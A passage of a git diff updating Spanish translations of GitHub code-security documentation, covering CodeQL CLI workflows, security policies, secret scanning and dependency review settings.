+Un flujo de trabajo habitual utiliza el {% data variables.product.prodname_codeql_runner %} para analizar una base de código tiene los siguientes pasos.
+- `codeql-runner-<platform> init` para comenzar a crear las bases de datos de {% data variables.product.prodname_codeql %} y leer la configuración.
+- Para los lenguajes compilados: configura las variables de ambiente que produce el paso `init`.
+- Para los lenguajes compilados: ejecuta la autocompilación o los pasos de compilación manual.
+- `codeql-runner-<platform> analyze` para terminar de crear las bases de datos de {% data variables.product.prodname_codeql %}, ejecutar consultas para analizar cada base de datos de {% data variables.product.prodname_codeql %}, resumir los resultados en un archivo SARIF, y cargar los resultados a {% data variables.product.prodname_dotcom %}.
 
-A typical workflow that uses the {% data variables.product.prodname_codeql_cli %} to analyze a codebase has the following steps.
-- `codeql database create` to create {% data variables.product.prodname_codeql %} databases.
-  - For compiled languages: Optionally provide a build command.
-- `codeql database analyze` to run queries to analyze each {% data variables.product.prodname_codeql %} database and summarize the results in a SARIF file. This command must be run once for each language or database.
-- `codeql github upload-results` to upload the resulting SARIF files to {% data variables.product.prodname_dotcom %}, to be displayed as code scanning alerts. This command must be run once for each language or SARIF file.
+Un flujo de trabajo habitual utiliza el {% data variables.product.prodname_codeql_cli %} para analizar una base de código tiene los siguientes pasos.
+- `codeql database create` para crear bases de datos de {% data variables.product.prodname_codeql %}.
+  - Para los lenguajes compilados: Proporciona un comando de compilación opcionalmente.
+- `codeql database analyze` para ejecutar consultas para analizar cada base de datos de {% data variables.product.prodname_codeql %} y resumir los resultados en un archivo SARIF. Este comando debe ejecutarse una vez para cada lenguaje o base de datos.
+- `codeql github upload-results` para cargar los archivos SARIF resultantes a {% data variables.product.prodname_dotcom %}, para que se muestre como alertas del escaneo de código. Este comando debe ejecutarse una vez para cada archivo SARIF o lenguaje.
+
+The {% data variables.product.prodname_codeql_runner %} is multithreaded by default. The {% data variables.product.prodname_codeql_cli %} only uses a single thread by default, but allows you to specify the amount of threads you want it to use. If you want to replicate the behavior of the {% data variables.product.prodname_codeql_runner %} to use all threads available on the machine when using the {% data variables.product.prodname_codeql_cli %}, you can pass `--threads 0` to `codeql database analyze`.
 
 For more information, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)."
 
-## Examples of common uses for the {% data variables.product.prodname_codeql_cli %}
+## Ejemplos de usos comunes para el {% data variables.product.prodname_codeql_cli %}
 
-### About the examples
+### Acerca de los ejemplos
 
-These examples assume that the source code has been checked out to the current working directory. If you use a different directory, change the `--source-root` argument and the build steps accordingly.
+Estos ejemplos asumen que el código fuente se verificó en el directorio de trabajo actual. Si utilizas un directorio diferente, cambia el argumento `--source-root` y compila los pasos como sea correcto.
 
-These examples also assume that the {% data variables.product.prodname_codeql_cli %} is placed on the current PATH.
+Estos ejemplos también asumen que el {% data variables.product.prodname_codeql_cli %} se coloca en la RUTA correcta.
 
-In these examples, a {% data variables.product.prodname_dotcom %} token with suitable scopes is stored in the `$TOKEN` environment variable and passed to the example commands via stdin, or is stored in the `$GITHUB_TOKEN` environment variable.
+En estos ejemplos, un token de{% data variables.product.prodname_dotcom %} con alcance suficiente se almacena en la variable de ambiente `$TOKEN` y se pasa por los comandos de ejemplo a través de stdin o se almacena en la variable de ambiente `$GITHUB_TOKEN`.
 
-The ref name and commit SHA being checked out and analyzed in these examples are known during the workflow. For a branch, use `refs/heads/BRANCH-NAME` as the ref. For the head commit of a pull request, use `refs/pulls/NUMBER/head`. For a {% data variables.product.prodname_dotcom %}-generated merge commit of a pull request, use `refs/pulls/NUMBER/merge`. The examples below all use `refs/heads/main`. If you use a different branch name, you must modify the sample code.
+El nombre de ref y el SHA de confirmación que se verifican y analizan en estos ejemplos se conocen durante el flujo de trabajo. En el caso de las ramas, utiliza `refs/heads/BRANCH-NAME` como el ref. En el caso de la confirmación de encabezado de una solicitud de cambios, utiliza `refs/pulls/NUMBER/head`. En el caso de una confirmación de fusión generada por {% data variables.product.prodname_dotcom %} para una solicitud de cambios, utiliza `refs/pulls/NUMBER/merge`. Todos los siguientes ejemplos utilizan `refs/heads/main`. Si utilizas un nombre de rama diferente, debes modificar el código de muestra.
 
-### Single non-compiled language (JavaScript)
+### Lenguaje sencillo no compilado (JavaScript)
 
 Runner:
 ```bash
@@ -80,9 +81,9 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
     --sarif=/temp/example-repo-js.sarif --github-auth-stdin
 ```
 
-### Single non-compiled language (JavaScript) using a different query suite (security-and-quality)
+### Lenguaje sencillo no compilado (JavaScript) utilizando una suite de consultas (security-and-quality)
 
-A similar approach can be taken for compiled languages, or multiple languages.
+Se puede tomar un enfoque similar para los lenguajes compilados o los lenguajes múltiples.
 
 Runner:
 ```bash
@@ -110,9 +111,9 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
     --sarif=/temp/example-repo-js.sarif --github-auth-stdin
 ```
 
-### Single non-compiled language (JavaScript) using a custom configuration file
+### Lenguaje sencillo no compilado (JavaScript) utilizando un archivo de configuración personalizado
 
-A similar approach can be taken for compiled languages, or multiple languages.
+Se puede tomar un enfoque similar para los lenguajes compilados o los lenguajes múltiples.
 
 Runner:
 ```bash
@@ -141,7 +142,7 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
     --sarif=/temp/example-repo-js.sarif --github-auth-stdin
 ```
 
-### Single compiled language using autobuild (Java)
+### Lenguaje sencillo no compilado utilizando compilación automática (Java)
 
 Runner:
 ```bash
@@ -175,7 +176,7 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
     --sarif=/temp/example-repo-java.sarif --github-auth-stdin
 ```
 
-### Single compiled language using a custom build command (Java)
+### Lenguaje sencillo no copilado utilizando un comando de compilación personalizado (Java)
 
 Runner:
 ```bash
@@ -208,9 +209,9 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
     --sarif=/temp/example-repo-java.sarif --github-auth-stdin
 ```
 
-### Single compiled language using indirect build tracing (C# on Windows within Azure DevOps)
+### Lenguaje sencillo no compilado utilizando rastreo de compilación indirecto (C# sobre Windows dentro de Azure DevOps)
 
-Indirect build tracing for a compiled language enables {% data variables.product.prodname_codeql %} to detect all build steps between the `init` and `analyze` steps, when the code cannot be built using the autobuilder or an explicit build command line. This is useful when using preconfigured build steps from your CI system, such as the `VSBuild` and `MSBuild` tasks in Azure DevOps.
+El rastreo de compilación indirecta para los lenguajes compilados habilita al {% data variables.product.prodname_codeql %} para que detecte los pasos de compilación entre los pasos de `init` y `analyze`, cuando el código no puede compilarse utilizando la compilación automática o una línea de comandos compilada explícita. Esto es útil cuando se utilizan pasos de compilación preconfigurados desde tu sistema de IC, tales como las tareas de `VSBuild` y `MSBuild` en Azure DevOps.
 
 Runner:
 ```yaml
@@ -330,10 +331,9 @@ CLI:
 
 ```
 
-### Multiple languages using autobuild (C++, Python)
+### Lenguajes múltiples utilizando compilación automática (C++, Python)
 
-This example is not strictly possible with the {% data variables.product.prodname_codeql_runner %}.
-Only one language (the compiled language with the most files) will be analyzed.
+Este ejemplo no es estrictamente posible dentro del {% data variables.product.prodname_codeql_runner %}. Solo se analizará un lenguaje (el lenguaje compilado que tenga la mayoría de los archivos).
 
 Runner:
 ```bash
@@ -373,7 +373,7 @@ for language in cpp python; do
 done
 ```
 
-### Multiple languages using a custom build command (C++, Python)
+### Lenguajes múltiples utilizando un comando de compilación personalizado (C++, Python)
 
 Runner:
 ```bash
diff --git a/translations/es-ES/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md b/translations/es-ES/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md
index ff470708a7..e18a416acb 100644
--- a/translations/es-ES/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md
+++ b/translations/es-ES/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Adding a security policy to your repository
-intro: You can give instructions for how to report a security vulnerability in your project by adding a security policy to your repository.
+title: Agregar una política de seguridad a tu repositorio
+intro: Puedes dar instrucciones de cómo reportar una vulnerabilidad de seguridad en tu proyecto si agregas una política de seguridad a tu repositorio.
 redirect_from:
   - /articles/adding-a-security-policy-to-your-repository
   - /github/managing-security-vulnerabilities/adding-a-security-policy-to-your-repository
@@ -16,50 +16,48 @@ topics:
   - Vulnerabilities
   - Repositories
   - Health
-shortTitle: Add a security policy
+shortTitle: Agregar una política de seguridad
 ---
 
-## About security policies
+## Acerca de las políticas de seguridad
 
-To give people instructions for reporting security vulnerabilities in your project,{% ifversion fpt or ghes > 3.0 or ghec %} you can add a _SECURITY.md_ file to your repository's root, `docs`, or `.github` folder.{% else %} you can add a _SECURITY.md_ file to your repository's root, or `docs` folder.{% endif %} When someone creates an issue in your repository, they will see a link to your project's security policy.
+Para otorgar instrucciones a las personas sobre cómo reportar las vulnerabilidades de seguridad en tu proyecto,{% ifversion fpt or ghes > 3.0 or ghec %} puedes agregar un archivo de _SECURITY.md_ a carpeta `docs`, `.github` o raíz de tu repositorio.{% else %} puedes agregar un archivo de _SECURITY.md_ a la carpeta `docs` o raíz de tu repositorio.{% endif %} Cuando alguien crea una propuesta en tu repositorio, verán un enlace en la política de seguridad de tu proyecto.
 
 {% ifversion not ghae %}
 <!-- no public repos in GHAE -->
-You can create a default security policy for your organization or user account. For more information, see "[Creating a default community health file](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)."
+Puedes crear una política de seguridad predeterminada para tu cuenta de usuario o de organización. Para obtener más información, consulta "[Crear un archivo de salud predeterminado para la comunidad](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)."
 {% endif %}
 
 {% tip %}
 
-**Tip:** To help people find your security policy, you can link to your _SECURITY.md_ file from other places in your repository, such as your README file. For more information, see "[About READMEs](/articles/about-readmes)."
+**Sugerencia:** Para que las demás personas puedan encontrar tu política de seguridad, puedes vincular tu archivo _SECURITY.md_ desde otros lugares en tu repositorio, como un archivo README. Para obtener más información, consulta "[Acerca de los archivos README](/articles/about-readmes/)".
 
 {% endtip %}
 
 {% ifversion fpt or ghec %}
-After someone reports a security vulnerability in your project, you can use {% data variables.product.prodname_security_advisories %} to disclose, fix, and publish information about the vulnerability. For more information about the process of reporting and disclosing vulnerabilities in {% data variables.product.prodname_dotcom %}, see "[About coordinated disclosure of security vulnerabilities](/code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github)." For more information about {% data variables.product.prodname_security_advisories %}, see "[About {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)."
+Después de que alguien reporte una vulnerabilidad de seguridad en tu proyecto, puedes utilizar {% data variables.product.prodname_security_advisories %} para divulgar, arreglar y publicar información acerca de la misma. Para obtener más información sobre el proceso de reportar y divulgar vulnerabilidades en {% data variables.product.prodname_dotcom %}, consulta la sección "[Acerca de la divulgación coordinada de las vulnerabilidades de seguridad](/code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github)". Para obtener más información acerca de las {% data variables.product.prodname_security_advisories %}, consulta la sección "[Acerca del {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)".
 
 {% data reusables.repositories.github-security-lab %}
 {% endif %}
 {% ifversion ghes > 3.0 or ghae %}
 <!-- alternative to the content about GitHub Security Advisories in the dotcom article -->
-By making security reporting instructions clearly available, you make it easy for your users to report any security vulnerabilities they find in your repository using your preferred communication channel.
+Cuando pones las instrucciones de reporte de seguridad claramente disponibles, facilitas a tus usurios el reportar cualquier vulnerabilidad de seguridad que encuentren en tu repositorio utilizando tu canal de comunicación preferido.
 {% endif %}
 
-## Adding a security policy to your repository
+## Agregar una política de seguridad a tu repositorio
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-security %}
-3. In the left sidebar, click **Security policy**.
-  ![Security policy tab](/assets/images/help/security/security-policy-tab.png)
-4. Click **Start setup**.
-  ![Start setup button](/assets/images/help/security/start-setup-security-policy-button.png)
-5. In the new _SECURITY.md_ file, add information about supported versions of your project and how to report a vulnerability.
+3. En la barra lateral iziquierda, haz clic en **Política de seguridad**. ![Pestaña de política de seguridad](/assets/images/help/security/security-policy-tab.png)
+4. Haz clic en **Start setup** (Iniciar configuración). ![Botón Start setup (Iniciar configuración)](/assets/images/help/security/start-setup-security-policy-button.png)
+5. En el archivo _SECURITY.md_ nuevo, agrega información sobre las versiones compatibles de tu proyecto y cómo informar una vulnerabilidad.
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_file_change %}
 
-## Further reading
+## Leer más
 
-- "[Securing your repository](/code-security/getting-started/securing-your-repository)"{% ifversion not ghae %}
-- "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)"{% endif %}{% ifversion fpt or ghec %}
+- "[Asegurar tu repositorio](/code-security/getting-started/securing-your-repository)"{% ifversion not ghae %}
+- "[Configurar tu proyecto para tener contribuciones saludables](/communities/setting-up-your-project-for-healthy-contributions)"{% endif %}{% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_security %}]({% data variables.product.prodname_security_link %}){% endif %}
diff --git a/translations/es-ES/content/code-security/getting-started/github-security-features.md b/translations/es-ES/content/code-security/getting-started/github-security-features.md
index 174275d178..646ed3ccd5 100644
--- a/translations/es-ES/content/code-security/getting-started/github-security-features.md
+++ b/translations/es-ES/content/code-security/getting-started/github-security-features.md
@@ -16,7 +16,7 @@ topics:
 
 ## About {% data variables.product.prodname_dotcom %}'s security features
 
-{% data variables.product.prodname_dotcom %} has security features that help keep code and secrets secure in repositories and across organizations. Some features are available for all repositories and others are only available {% ifversion fpt or ghec %}for public repositories and for repositories {% endif %}with a {% data variables.product.prodname_GH_advanced_security %} license.
+{% data variables.product.prodname_dotcom %} has security features that help keep code and secrets secure in repositories and across organizations. {% data reusables.advanced-security.security-feature-availability %}
 
 The {% data variables.product.prodname_advisory_database %} contains a curated list of security vulnerabilities that you can view, search, and filter. {% data reusables.security-advisory.link-browsing-advisory-db %}
 
@@ -64,19 +64,19 @@ The dependency graph allows you to explore the ecosystems and packages that your
 You can find the dependency graph on the **Insights** tab for your repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."
 {% endif %}
 
-## Available {% ifversion fpt or ghec %}for public repositories and for repositories {% endif %}with {% data variables.product.prodname_advanced_security %}
+## Available with {% data variables.product.prodname_GH_advanced_security %}
 
-{% ifversion fpt or ghes or ghec %}
-These features are available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations with {% else %}if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license. {% data reusables.advanced-security.more-info-ghas %}
-{% endif %}
+{% data reusables.advanced-security.ghas-availability %}
 
-### {% data variables.product.prodname_code_scanning_capc %} alerts
+### {% data variables.product.prodname_code_scanning_capc %}
 
 Automatically detect security vulnerabilities and coding errors in new or modified code. Potential problems are highlighted, with detailed information, allowing you to fix the code before it's merged into your default branch. For more information, see "[About code scanning](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)."
 
-### {% data variables.product.prodname_secret_scanning_caps %} alerts
+### {% data variables.product.prodname_secret_scanning_caps %}
 
-{% ifversion fpt or ghec %}For private repositories, view {% else %}View {% endif %}any secrets that {% data variables.product.prodname_dotcom %} has found in your code. You should treat tokens or credentials that have been checked into the repository as compromised. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
+Automatically detect tokens or credentials that have been checked into a repository. {% ifversion fpt or ghec %}For secrets identified in public repositories, the service is informed that the secret may be compromised.{% endif %} 
+{%- ifversion ghec or ghes or ghae %}
+{% ifversion ghec %}For private repositories, you can view {% elsif ghes or ghae %}View {% endif %}any secrets that {% data variables.product.company_short %} has found in your code. You should treat tokens or credentials that have been checked into the repository as compromised.{% endif %} For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4864 or ghec %}
 ### Dependency review
diff --git a/translations/es-ES/content/code-security/getting-started/securing-your-organization.md b/translations/es-ES/content/code-security/getting-started/securing-your-organization.md
index f88ddfd505..92361d61a2 100644
--- a/translations/es-ES/content/code-security/getting-started/securing-your-organization.md
+++ b/translations/es-ES/content/code-security/getting-started/securing-your-organization.md
@@ -19,7 +19,7 @@ shortTitle: Secure your organization
 ## Introduction
 This guide shows you how to configure security features for an organization. Your organization's security needs are unique and you may not need to enable every security feature. For more information, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
 
-Some security features are only available {% ifversion fpt or ghec %}for public repositories, and for private repositories owned by organizations with {% else %}if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license. {% data reusables.advanced-security.more-info-ghas %}
+{% data reusables.advanced-security.security-feature-availability %}
 
 ## Managing access to your organization
 
@@ -55,10 +55,10 @@ For more information, see "[About alerts for vulnerable dependencies](/code-secu
 
 ## Managing dependency review
 
-Dependency review lets you visualize dependency changes in pull requests before they are merged into your repositories. 
-{% ifversion fpt or ghec %}Dependency review is available in all public repositories. For private and internal repositories you require a license for {% data variables.product.prodname_advanced_security %}. To enable dependency review for an organization, enable the dependency graph and enable {% data variables.product.prodname_advanced_security %}. 
+Dependency review is an {% data variables.product.prodname_advanced_security %} feature that lets you visualize dependency changes in pull requests before they are merged into your repositories. For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)."
+
+{% ifversion fpt or ghec %}Dependency review is already enabled for all public repositories. {% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable dependency review for private and internal repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-organization#managing-dependency-review). {% endif %}{% endif %}{% ifversion ghec %}For private and internal repositories that are owned by an organization, you can enable dependency review by enabling the dependency graph and enabling {% data variables.product.prodname_advanced_security %} (see below). 
 {% elsif ghes or ghae %}Dependency review is available when dependency graph is enabled for {% data variables.product.product_location %} and you enable {% data variables.product.prodname_advanced_security %} for the organization (see below).{% endif %}
-For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)."
 
 {% endif %}
 
@@ -83,11 +83,11 @@ To enable {% data variables.product.prodname_dependabot_version_updates %}, you
 
 {% endif %}
 
-{% ifversion fpt or ghes > 2.22 or ghae or ghec %}
+{% ifversion ghes > 2.22 or ghae or ghec %}
 ## Managing {% data variables.product.prodname_GH_advanced_security %}
 
-{% ifversion fpt or ghes > 2.22 or ghec %}
-If your organization has an {% data variables.product.prodname_advanced_security %} license, you can enable or disable {% data variables.product.prodname_advanced_security %} features.
+{% ifversion ghes > 2.22 or ghec %}
+If your {% ifversion ghec %}organization is owned by an enterprise that{% else %}enterprise{% endif %} has an {% data variables.product.prodname_advanced_security %} license, you can enable or disable {% data variables.product.prodname_advanced_security %} features.
 {% elsif ghae %}
 You can enable or disable {% data variables.product.prodname_advanced_security %} features.
 {% endif %}
@@ -99,10 +99,18 @@ You can enable or disable {% data variables.product.prodname_advanced_security %
 5. Optionally, select **Automatically enable for new private repositories**. 
 
 For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+{% endif %}
 
+{% ifversion fpt or ghes > 2.22 or ghae or ghec %}
 ## Configuring {% data variables.product.prodname_secret_scanning %}
-{% data variables.product.prodname_secret_scanning_caps %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations with {% else %}if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license.
 
+{% data variables.product.prodname_secret_scanning_caps %} is an {% data variables.product.prodname_advanced_security %} feature that scans repositories for secrets that are insecurely stored.
+
+{% ifversion fpt or ghec %}{% data variables.product.prodname_secret_scanning_caps %} is already enabled for all public repositories. Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable {% data variables.product.prodname_secret_scanning %} for private and internal repositories.{% endif %} {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-organization#configuring-secret-scanning). {% endif %}
+
+{% ifversion ghes or ghae %}{% data variables.product.prodname_secret_scanning_caps %} is available if your enterprise uses {% data variables.product.prodname_advanced_security %}.{% endif %}
+
+{% ifversion not fpt %}
 You can enable or disable {% data variables.product.prodname_secret_scanning %} for all repositories across your organization that have {% data variables.product.prodname_advanced_security %} enabled.
 
 1. Click your profile photo, then click **Organizations**.
@@ -112,9 +120,18 @@ You can enable or disable {% data variables.product.prodname_secret_scanning %}
 5. Optionally, select **Automatically enable for private repositories added to {% data variables.product.prodname_advanced_security %}**. 
 
 For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+{% endif %}
 
 {% endif %}
 
+## Configuring {% data variables.product.prodname_code_scanning %}
+
+{% data variables.product.prodname_code_scanning_capc %} is an {% data variables.product.prodname_advanced_security %} feature that scans code for security vulnerabilities and errors
+
+{% ifversion fpt or ghec %}{% data variables.product.prodname_code_scanning_capc %} is available for all public repositories. Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally use {% data variables.product.prodname_code_scanning %} for private and internal repositories.{% else %}{% data variables.product.prodname_code_scanning_capc %} is available if your enterprise uses {% data variables.product.prodname_advanced_security %}.{% endif %}
+
+{% data variables.product.prodname_code_scanning_capc %} is configured at the repository level. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
+
 ## Next steps
 {% ifversion fpt or ghes > 3.1 or ghec %}You can view, filter, and sort security alerts for repositories owned by your organization in the security overview. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."{% endif %}
 
diff --git a/translations/es-ES/content/code-security/getting-started/securing-your-repository.md b/translations/es-ES/content/code-security/getting-started/securing-your-repository.md
index 7cbdb8a96f..eb7b4888b2 100644
--- a/translations/es-ES/content/code-security/getting-started/securing-your-repository.md
+++ b/translations/es-ES/content/code-security/getting-started/securing-your-repository.md
@@ -24,7 +24,7 @@ This guide shows you how to configure security features for a repository. You mu
 
 Your security needs are unique to your repository, so you may not need to enable every feature for your repository. For more information, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
 
-Some security features are only available {% ifversion fpt or ghec %}for public repositories, and for private repositories owned by organizations with {% else %}if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license. {% data reusables.advanced-security.more-info-ghas %}
+{% data reusables.advanced-security.security-feature-availability %}
 
 ## Managing access to your repository
 
@@ -51,7 +51,7 @@ For more information, see "[Adding a security policy to your repository](/code-s
 ## Managing the dependency graph
 
 {% ifversion fpt or ghec %}
-Once you have [enabled the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph), it is automatically generated for all public repositories, and you can choose to enable it for private repositories.
+The dependency graph is automatically generated for all public repositories, and you can choose to enable it for private repositories. It interprets manifest and lock files in a repository to identify dependencies.
 
 1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %} Settings**.
 2. Click **Security & analysis**.
@@ -67,8 +67,9 @@ For more information, see "[Exploring the dependencies of a repository](/code-se
 {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
 ## Managing {% data variables.product.prodname_dependabot_alerts %}
 
-{% ifversion fpt or ghec %}By default, {% data variables.product.prodname_dotcom %} detects vulnerabilities in public repositories and generates {% data variables.product.prodname_dependabot_alerts %}. {% data variables.product.prodname_dependabot_alerts %} can also be enabled for private repositories.
+{% data variables.product.prodname_dependabot_alerts %} are generated when {% data variables.product.prodname_dotcom %} identifies a dependency in the dependency graph with a vulnerability. {% ifversion fpt or ghec %}You can enable {% data variables.product.prodname_dependabot_alerts %} for any repository.{% endif %}
 
+{% ifversion fpt or ghec %}
 1. Click your profile photo, then click **Settings**.
 2. Click **Security & analysis**.
 3. Click **Enable all** next to {% data variables.product.prodname_dependabot_alerts %}.
@@ -84,10 +85,16 @@ For more information, see "[About alerts for vulnerable dependencies](/code-secu
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4864 or ghec %}
 ## Managing dependency review
 
-Dependency review lets you visualize dependency changes in pull requests before they are merged into your repositories. 
-{%- ifversion fpt %}Dependency review is available in all public repositories. For private and internal repositories you require a license for {% data variables.product.prodname_advanced_security %}. To enable dependency review for a repository, enable the dependency graph and enable {% data variables.product.prodname_advanced_security %}. 
-{%- elsif ghes or ghae %}Dependency review is available when dependency graph is enabled for {% data variables.product.product_location %} and you enable {% data variables.product.prodname_advanced_security %} for the repository (see below).{% endif %}
-For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)."
+Dependency review lets you visualize dependency changes in pull requests before they are merged into your repositories. For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)."
+
+Dependency review is a {% data variables.product.prodname_GH_advanced_security %} feature. {% ifversion fpt or ghec %}Dependency review is already enabled for all public repositories. {% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable dependency review for private and internal repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-repository#managing-dependency-review). {% endif %}{% endif %}{% ifversion ghec or ghes or ghae %}To enable dependency review for a {% ifversion ghec %}private or internal {% endif %}repository, ensure that the dependency graph is enabled and enable {% data variables.product.prodname_GH_advanced_security %}. 
+
+1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**.
+2. Click **Security & analysis**.
+3. {% ifversion ghec %}If dependency graph is not already enabled, click **Enable**.{% elsif ghes or ghae %}Check that dependency graph is configured for your enterprise.{% endif %}
+4. If {% data variables.product.prodname_GH_advanced_security %} is not already enabled, click **Enable**.
+
+{% endif %}
 
 {% endif %}
 
@@ -113,19 +120,19 @@ To enable {% data variables.product.prodname_dependabot_version_updates %}, you
 
 ## Configuring {% data variables.product.prodname_code_scanning %}
 
-{% data variables.product.prodname_code_scanning_capc %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations with {% else %} for organization-owned repositories if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license.
-
 You can set up {% data variables.product.prodname_code_scanning %} to automatically identify vulnerabilities and errors in the code stored in your repository by using a {% data variables.product.prodname_codeql_workflow %} or third-party tool. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
 
-## Configuring {% data variables.product.prodname_secret_scanning %}
-{% data variables.product.prodname_secret_scanning_caps %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations with {% else %} for organization-owned repositories if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license.
+{% data variables.product.prodname_code_scanning_capc %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations that are part of an enterprise with a license for {% else %}for organization-owned repositories if your enterprise uses {% endif %}{% data variables.product.prodname_GH_advanced_security %}.
 
-{% data variables.product.prodname_secret_scanning_caps %} may be enabled for your repository by default depending upon your organization's settings.
+## Configuring {% data variables.product.prodname_secret_scanning %}
+
+{% data variables.product.prodname_secret_scanning_caps %} is {% ifversion fpt or ghec %}enabled for all public repositories and is available for private repositories owned by organizations that are part of an enterprise with a license for {% else %}available for organization-owned repositories if your enterprise uses {% endif %}{% data variables.product.prodname_GH_advanced_security %}. {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-repository#configuring-secret-scanning).{% else %}{% data variables.product.prodname_secret_scanning_caps %} may already be enabled for your repository, depending upon your organization's settings.
 
 1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**.
 2. Click **Security & analysis**.
 3. If {% data variables.product.prodname_GH_advanced_security %} is not already enabled, click **Enable**.
 4. Next to {% data variables.product.prodname_secret_scanning_caps %}, click **Enable**. 
+{% endif %}
 
 ## Next steps
 You can view and manage alerts from security features to address dependencies and vulnerabilities in your code. For more information, see {% ifversion fpt or ghes or ghec %} "[Viewing and updating vulnerable dependencies in your repository](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository),"{% endif %} {% ifversion fpt or ghec or ghes > 3.2 %}"[Managing pull requests for dependency updates](/code-security/supply-chain-security/managing-pull-requests-for-dependency-updates)," {% endif %}"[Managing {% data variables.product.prodname_code_scanning %} for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)," and "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)."
diff --git a/translations/es-ES/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md b/translations/es-ES/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md
index 3ae19dfdbe..2829fc459c 100644
--- a/translations/es-ES/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md
+++ b/translations/es-ES/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring secret scanning for your repositories
